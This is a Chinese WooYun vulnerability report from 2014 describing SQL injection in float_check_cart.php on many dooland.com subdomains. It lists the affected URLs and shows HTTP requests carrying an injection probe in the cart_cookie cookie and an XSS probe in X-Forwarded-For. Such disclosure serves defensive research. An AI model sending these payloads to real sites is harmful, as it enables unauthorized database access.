当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-086544

漏洞标题：dooland所有子站通用SQL注入

相关厂商：dooland.com

漏洞作者： Aerfa21

提交时间：2014-12-09 17:51

修复时间：2014-12-14 17:52

公开时间：2014-12-14 17:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-09： 细节已通知厂商并且等待厂商处理中
2014-12-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

学好SQL注入，走遍天下都不怕
读览天下的子站太多，但是都存在同样的问题。

详细说明：

注入页面：

形如 xx.dooland.com/float_check_cart.php


几乎涉及到读览天下所有子站（实在太多，没有全部测试）

autofan.dooland.com/float_check_cart.php
bhstory.dooland.com/float_check_cart.php
bjsqb.dooland.com/float_check_cart.php
bjsqb.dooland.com/float_check_cart.php
bjsqb.dooland.com/float_check_cart.php
bjsqb.dooland.com/float_check_cart.php
bjsqb.dooland.com/float_check_cart.php
bjsqb.dooland.com/float_check_cart.php
bjzb.dooland.com/float_check_cart.php
bkzs.dooland.com/float_check_cart.php
blogweekly.dooland.com/float_check_cart.php
bqzs.dooland.com/float_check_cart.php
bxzj.dooland.com/float_check_cart.php
caifutang.dooland.com/float_check_cart.php
caijing.dooland.com/float_check_cart.php
caijingtianxia.dooland.com/float_check_cart.php
caikuaixinbao.dooland.com/float_check_cart.php
cbrand.dooland.com/float_check_cart.php
cbzz.dooland.com/float_check_cart.php
ccmm.dooland.com/float_check_cart.php
ceocio.dooland.com/float_check_cart.php
ceoun.dooland.com/float_check_cart.php
cgoldjewelry.dooland.com/float_check_cart.php
chaonanzhi.dooland.com/float_check_cart.php
charm.dooland.com/float_check_cart.php
chewang.dooland.com/float_check_cart.php
chinaapparel.dooland.com/float_check_cart.php
chinatoday.dooland.com/float_check_cart.php
chinattw.dooland.com/float_check_cart.php
chinaxiaokang.dooland.com/float_check_cart.php
chip.dooland.com/float_check_cart.php
ciweekly.dooland.com/float_check_cart.php
cnemag.dooland.com/float_check_cart.php
cniti.dooland.com/float_check_cart.php
COCO.dooland.com/float_check_cart.php
comicfans.dooland.com/float_check_cart.php
comicshow.dooland.com/float_check_cart.php
comicworld.dooland.com/float_check_cart.php
corp.dooland.com/float_check_cart.php
cpcfan.dooland.com/float_check_cart.php
cpcw.dooland.com/float_check_cart.php
cwsj.dooland.com/float_check_cart.php
cyb.dooland.com/float_check_cart.php
cyj.dooland.com/float_check_cart.php
daxuesheng.dooland.com/float_check_cart.php
dazhongDV.dooland.com/float_check_cart.php
dazhongsheying.dooland.com/float_check_cart.php
ddsj.dooland.com/float_check_cart.php
djnsc.dooland.com/float_check_cart.php
djnzj.dooland.com/float_check_cart.php
dmcy.dooland.com/float_check_cart.php
dnahz.dooland.com/float_check_cart.php
dutianxia.dooland.com/float_check_cart.php
dzlcgw.dooland.com/float_check_cart.php
dzqc.dooland.com/float_check_cart.php
dztzzn.dooland.com/float_check_cart.php
dzyc.dooland.com/float_check_cart.php
ebusinessreview.dooland.com/float_check_cart.php
enterainment.dooland.com/float_check_cart.php
fc.dooland.com/float_check_cart.php
ffs.dooland.com/float_check_cart.php
fh.dooland.com/float_check_cart.php
foto-video.dooland.com/float_check_cart.php
fsz.dooland.com/float_check_cart.php
fxjj.dooland.com/float_check_cart.php
FZDMAG.dooland.com/float_check_cart.php
fzfzzk.dooland.com/float_check_cart.php
ganla.dooland.com/float_check_cart.php
gaoerfudujia.dooland.com/float_check_cart.php
gjxqdb.dooland.com/float_check_cart.php
gjzb.dooland.com/float_check_cart.php
glmjpl.dooland.com/float_check_cart.php
globalpeople.dooland.com/float_check_cart.php
glxjsjb.dooland.com/float_check_cart.php
......


随便测试一个：
艺术财经注入页面：artvalue.dooland.com/float_check_cart.php（所有涉及到SQL注入的页面都是这样的）

11.png


刷新页面，使用web代理burpsuit，抓包：

GET /float_check_cart.php HTTP/1.1
Host: artvalue.dooland.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=0cgkar0vhtd5f7r9e4fsn8f0l0; 
PHPSESSID=5t0a8hbnjeinf681rd6fuo1287; CNZZDATA672294=cnzz_eid%3D1709598733-1418108954-%26ntime%3D1418108954
X-Forwarded-For: <script>alert("XSS")</script>
Connection: keep-alive
Cache-Control: max-age=0


修改POST包为：

GET /float_check_cart.php HTTP/1.1
Cookie: PHPSESSID=ukraksutb9kt5miu039sjfv0g4; 
cart_cookie=1'"; PHPSESSID=trqemklslkchg4vvdjep2agcm0
Referer: http://artvalue.dooland.com:80/
Host: artvalue.dooland.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


爆出数据库类型为Mysql，数据库名为mag_list：

12.png


漏洞证明：

21sjsyplsql.png


21ssggsql.png


artvaluesql.png

修复方案：

参数过滤

版权声明：转载请注明来源 Aerfa21@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-14 17:52

厂商回复：

最新状态：

暂无